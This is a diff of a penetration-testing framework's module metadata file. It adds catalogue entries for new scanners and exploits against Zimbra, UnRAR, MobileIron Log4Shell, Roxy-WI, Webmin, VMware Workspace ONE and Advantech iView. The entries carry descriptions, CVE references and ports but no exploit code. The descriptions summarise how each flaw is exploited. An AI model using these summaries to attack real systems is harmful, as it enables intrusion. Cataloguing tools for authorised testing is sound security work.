has been published. It is\n therefore likely that most (if not all) Cisco PVC2300 cameras are affected.\n\n This module was successfully tested against several Cisco PVC2300 cameras.",
|
||||
"references": [
|
||||
"URL-https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
|
||||
"URL-https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
|
||||
"URL-https://www.youtube.com/watch?v=B8DjTcANBx0"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-04 11:45:36 +0000",
|
||||
"path": "/modules/auxiliary/gather/cisco_pvc2300_download_config.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/cisco_pvc2300_download_config",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/cisco_rv320_config": {
|
||||
"name": "Cisco RV320/RV326 Configuration Disclosure",
|
||||
"fullname": "auxiliary/gather/cisco_rv320_config",
|
||||
@@ -19425,6 +19494,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/ldap_query": {
|
||||
"name": "LDAP Query and Enumeration Module",
|
||||
"fullname": "auxiliary/gather/ldap_query",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-05-19",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Grant Willcox"
|
||||
],
|
||||
"description": "This module allows users to query an LDAP server using either a custom LDAP query, or\n a set of LDAP queries under a specific category. Users can also specify a JSON or YAML\n file containing custom queries to be executed using the RUN_QUERY_FILE action.\n If this action is specified, then QUERY_FILE_PATH must be a path to the location\n of this JSON/YAML file on disk.\n\n Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting\n the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES\n to a comma seperated string containing the list of attributes they are interested in obtaining\n from the results.\n\n As a third option can run one of several predefined queries by setting ACTION to the\n appropriate value. These options will be loaded from the ldap_queries_default.yaml file\n located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.\n\n All results will be returned to the user in table, CSV or JSON format, depending on the value\n of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter\n should multiple items exist within a single column.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 389,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-26 16:03:16 +0000",
|
||||
"path": "/modules/auxiliary/gather/ldap_query.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/ldap_query",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_gather/mantisbt_admin_sqli": {
|
||||
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
|
||||
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
|
||||
@@ -25214,6 +25330,64 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cassandra_web_file_read": {
|
||||
"name": "Cassandra Web File Read Vulnerability",
|
||||
"fullname": "auxiliary/scanner/http/cassandra_web_file_read",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Jeremy Brown",
|
||||
"krastanoel"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web\n 'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.\n This vulnerability occured due to the disabled Rack::Protection module",
|
||||
"references": [
|
||||
"URL-https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be",
|
||||
"EDB-49362"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 3000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-03 19:21:42 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cassandra_web_file_read.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cassandra_web_file_read",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cert": {
|
||||
"name": "HTTP SSL Certificate Checker",
|
||||
"fullname": "auxiliary/scanner/http/cert",
|
||||
@@ -25490,6 +25664,62 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cisco_asa_asdm_bruteforce": {
|
||||
"name": "Cisco ASA ASDM Brute-force Login",
|
||||
"fullname": "auxiliary/scanner/http/cisco_asa_asdm_bruteforce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "This module scans for the Cisco ASA ASDM landing page and performs login brute-force\n to identify valid credentials.",
|
||||
"references": [
|
||||
"URL-https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-16 06:31:25 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/cisco_asa_asdm_bruteforce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/cisco_asa_asdm_bruteforce",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/http/cisco_device_manager": {
|
||||
"name": "Cisco Device HTTP Device Manager Access",
|
||||
"fullname": "auxiliary/scanner/http/cisco_device_manager",
|
||||
@@ -26310,7 +26540,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-16 14:24:45 +0000",
|
||||
"mod_time": "2022-06-15 11:35:30 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/crawler.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/crawler",
|
||||
@@ -44392,6 +44622,53 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/bacnet_l3": {
|
||||
"name": "BACnet Scanner",
|
||||
"fullname": "auxiliary/scanner/scada/bacnet_l3",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Paz <Paz @ SCADAfence>"
|
||||
],
|
||||
"description": "Discover BACnet devices by broadcasting Who-is message, then poll\n discovered devices for properties including model name,\n software version, firmware revision and description.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-08-01 15:11:57 +0000",
|
||||
"path": "/modules/auxiliary/scanner/scada/bacnet_l3.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/scada/bacnet_l3",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"unreliable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"screen-effects"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_scanner/scada/digi_addp_reboot": {
|
||||
"name": "Digi ADDP Remote Reboot Initiator",
|
||||
"fullname": "auxiliary/scanner/scada/digi_addp_reboot",
|
||||
@@ -47376,7 +47653,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-07-19 16:04:41 +0000",
|
||||
"path": "/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/ssl/openssl_heartbleed",
|
||||
@@ -47455,7 +47732,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2022-07-25 14:51:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/telephony/wardial.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/telephony/wardial",
|
||||
@@ -49775,7 +50052,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-05-12 22:15:21 +0000",
|
||||
"mod_time": "2022-07-29 12:58:55 +0000",
|
||||
"path": "/modules/auxiliary/server/capture/imap.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "server/capture/imap",
|
||||
@@ -56813,6 +57090,59 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/fileformat/unrar_cve_2022_30333": {
|
||||
"name": "UnRAR Path Traversal (CVE-2022-30333)",
|
||||
"fullname": "exploit/linux/fileformat/unrar_cve_2022_30333",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Simon Scannell",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module creates a RAR file that exploits CVE-2022-30333, which is a\n path-traversal vulnerability in unRAR that can extract an arbitrary file\n to an arbitrary location on a Linux system. UnRAR fixed this\n vulnerability in version 6.12 (open source version 6.1.7).\n\n The core issue is that when a symbolic link is unRAR'ed, Windows\n symbolic links are not properly validated on Linux systems and can\n therefore write a symbolic link that points anywhere on the filesystem.\n If a second file in the archive has the same name, it will be written\n to the symbolic link path.",
|
||||
"references": [
|
||||
"CVE-2022-30333",
|
||||
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
|
||||
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
|
||||
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Generic RAR file"
|
||||
],
|
||||
"mod_time": "2022-08-01 10:03:35 +0000",
|
||||
"path": "/modules/exploits/linux/fileformat/unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/fileformat/unrar_cve_2022_30333",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/ftp/proftp_sreplace": {
|
||||
"name": "ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)",
|
||||
"fullname": "exploit/linux/ftp/proftp_sreplace",
|
||||
@@ -63542,6 +63872,78 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/mobileiron_core_log4shell": {
|
||||
"name": "MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)",
|
||||
"fullname": "exploit/linux/http/mobileiron_core_log4shell",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-12-12",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"RageLtMan <rageltman@sempervictus>",
|
||||
"rwincey",
|
||||
"jbaines-r7"
|
||||
],
|
||||
"description": "MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server\n will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS\n command execution in the context of the tomcat user.\n\n This module will start an LDAP server that the target will need to connect to.",
|
||||
"references": [
|
||||
"CVE-2021-44228",
|
||||
"URL-https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis",
|
||||
"URL-https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US",
|
||||
"URL-https://www.mandiant.com/resources/mobileiron-log4shell-exploitation"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2022-08-02 11:04:13 +0000",
|
||||
"path": "/modules/exploits/linux/http/mobileiron_core_log4shell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/mobileiron_core_log4shell",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"AKA": [
|
||||
"Log4Shell",
|
||||
"LogJam"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"RelatedModules": [
|
||||
"auxiliary/scanner/http/log4shell_scanner",
|
||||
"exploit/multi/http/log4shell_header_injection"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/mobileiron_mdm_hessian_rce": {
|
||||
"name": "MobileIron MDM Hessian-Based Java Deserialization RCE",
|
||||
"fullname": "exploit/linux/http/mobileiron_mdm_hessian_rce",
|
||||
@@ -66285,6 +66687,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/roxy_wi_exec": {
|
||||
"name": "Roxy-WI Prior to 6.1.1.0 Unauthenticated Command Injection RCE",
|
||||
"fullname": "exploit/linux/http/roxy_wi_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-07-06",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Nuri Çilengir <nuri@prodaft.com>"
|
||||
],
|
||||
"description": "This module exploits an unauthenticated command injection vulnerability in Roxy-WI\n prior to version 6.1.1.0. Successful exploitation results in remote code execution\n under the context of the web server user.\n\n Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.",
|
||||
"references": [
|
||||
"URL-https://pentest.blog/advisory-roxywi-unauthenticated-remote-code-execution-cve-2022-3113/",
|
||||
"URL-https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-53r2-mq99-f532",
|
||||
"URL-https://github.com/hap-wi/roxy-wi/commit/82666df1e60c45dd6aa533b01a392f015d32f755",
|
||||
"CVE-2022-31137"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix (In-Memory)",
|
||||
"Linux (Dropper)"
|
||||
],
|
||||
"mod_time": "2022-07-25 13:05:04 +0000",
|
||||
"path": "/modules/exploits/linux/http/roxy_wi_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/roxy_wi_exec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/saltstack_salt_api_cmd_exec": {
|
||||
"name": "SaltStack Salt REST API Arbitrary Command Execution",
|
||||
"fullname": "exploit/linux/http/saltstack_salt_api_cmd_exec",
|
||||
@@ -68995,6 +69459,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/webmin_package_updates_rce": {
|
||||
"name": "Webmin Package Updates RCE",
|
||||
"fullname": "exploit/linux/http/webmin_package_updates_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-07-26",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Christophe De La Fuente",
|
||||
"Emir Polat"
|
||||
],
|
||||
"description": "This module exploits an arbitrary command injection in Webmin\n versions prior to 1.997.\n\n Webmin uses the OS package manager (`apt`, `yum`, etc.) to perform\n package updates and installation. Due to a lack of input\n sanitization, it is possibe to inject arbitrary command that will be\n concatenated to the package manager call.\n\n This exploit requires authentication and the account must have access\n to the Software Package Updates module.",
|
||||
"references": [
|
||||
"EDB-50998",
|
||||
"URL-https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165",
|
||||
"CVE-2022-36446"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64, aarch64",
|
||||
"rport": 10000,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Unix In-Memory",
|
||||
"Linux Dropper (x86 & x64)",
|
||||
"Linux Dropper (ARM64)"
|
||||
],
|
||||
"mod_time": "2022-08-09 15:09:25 +0000",
|
||||
"path": "/modules/exploits/linux/http/webmin_package_updates_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/webmin_package_updates_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/webmin_packageup_rce": {
|
||||
"name": "Webmin Package Updates Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/webmin_packageup_rce",
|
||||
@@ -69348,6 +69876,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/zimbra_unrar_cve_2022_30333": {
|
||||
"name": "UnRAR Path Traversal in Zimbra (CVE-2022-30333)",
|
||||
"fullname": "exploit/linux/http/zimbra_unrar_cve_2022_30333",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Simon Scannell",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module creates a RAR file that can be emailed to a Zimbra server\n to exploit CVE-2022-30333. If successful, it plants a JSP-based\n backdoor in the public web directory, then executes that backdoor.\n\n The core vulnerability is a path-traversal issue in unRAR that can\n extract an arbitrary file to an arbitrary location on a Linux system.\n\n This issue is exploitable on the following versions of Zimbra, provided\n UnRAR version 6.11 or earlier is installed:\n\n * Zimbra Collaboration 9.0.0 Patch 24 (and earlier)\n * Zimbra Collaboration 8.8.15 Patch 31 (and earlier)",
|
||||
"references": [
|
||||
"CVE-2022-30333",
|
||||
"URL-https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/",
|
||||
"URL-https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25",
|
||||
"URL-https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32",
|
||||
"URL-https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Zimbra Collaboration Suite"
|
||||
],
|
||||
"mod_time": "2022-08-04 08:24:32 +0000",
|
||||
"path": "/modules/exploits/linux/http/zimbra_unrar_cve_2022_30333.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/zimbra_unrar_cve_2022_30333",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/zimbra_xxe_rce": {
|
||||
"name": "Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF",
|
||||
"fullname": "exploit/linux/http/zimbra_xxe_rce",
|
||||
@@ -73076,6 +73668,59 @@
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/vmware_workspace_one_access_certproxy_lpe": {
|
||||
"name": "VMware Workspace ONE Access CVE-2022-31660",
|
||||
"fullname": "exploit/linux/local/vmware_workspace_one_access_certproxy_lpe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-08-02",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges\n to those of the root user by modifying a file and then restarting the vmware-certproxy service which\n invokes it. The service control is permitted via the sudo configuration without a password.",
|
||||
"references": [
|
||||
"CVE-2022-31660",
|
||||
"URL-https://www.vmware.com/security/advisories/VMSA-2022-0021.html"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2022-08-03 17:45:06 +0000",
|
||||
"path": "/modules/exploits/linux/local/vmware_workspace_one_access_certproxy_lpe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/vmware_workspace_one_access_certproxy_lpe",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-service-down"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/local/yum_package_manager_persistence": {
|
||||
"name": "Yum Package Manager Persistence",
|
||||
"fullname": "exploit/linux/local/yum_package_manager_persistence",
|
||||
@@ -73119,6 +73764,60 @@
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/zimbra_slapper_priv_esc": {
|
||||
"name": "Zimbra zmslapd arbitrary module load",
|
||||
"fullname": "exploit/linux/local/zimbra_slapper_priv_esc",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2021-10-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Darren Martyn",
|
||||
"Ron Bowes"
|
||||
],
|
||||
"description": "This module exploits CVE-2022-37393, which is a vulnerability in\n Zimbra's sudo configuration that permits the zimbra user to execute\n the zmslapd binary as root with arbitrary parameters. As part of its\n intended functionality, zmslapd can load a user-defined configuration\n file, which includes plugins in the form of .so files, which also\n execute as root.",
|
||||
"references": [
|
||||
"CVE-2022-37393",
|
||||
"URL-https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/"
|
||||
],
|
||||
"platform": "Linux",
|
||||
"arch": "x86, x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2022-08-04 08:19:44 +0000",
|
||||
"path": "/modules/exploits/linux/local/zimbra_slapper_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/zimbra_slapper_priv_esc",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": [
|
||||
"shell",
|
||||
"meterpreter"
|
||||
],
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/local/zpanel_zsudo": {
|
||||
"name": "ZPanel zsudo Local Privilege Escalation Exploit",
|
||||
"fullname": "exploit/linux/local/zpanel_zsudo",
|
||||
@@ -136409,6 +137108,69 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_windows/http/advantech_iview_networkservlet_cmd_inject": {
|
||||
"name": "Advantech iView NetworkServlet Command Injection",
|
||||
"fullname": "exploit/windows/http/advantech_iview_networkservlet_cmd_inject",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-06-28",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"rgod",
|
||||
"y4er",
|
||||
"Shelby Pace"
|
||||
],
|
||||
"description": "Versions of Advantech iView software below `5.7.04.6469` are\n vulnerable to an unauthenticated command injection vulnerability\n via the `NetworkServlet` endpoint.\n The database backup functionality passes a user-controlled parameter,\n `backup_file` to the `mysqldump` command. The sanitization functionality only\n tests for SQL injection attempts and directory traversal, so leveraging the\n `-r` and `-w` `mysqldump` flags permits exploitation.\n The command injection vulnerability is used to write a payload on the target\n and achieve remote code execution as NT AUTHORITY\\SYSTEM.",
|
||||
"references": [
|
||||
"URL-https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/",
|
||||
"CVE-2022-2143"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86, x64, cmd",
|
||||
"rport": 8080,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
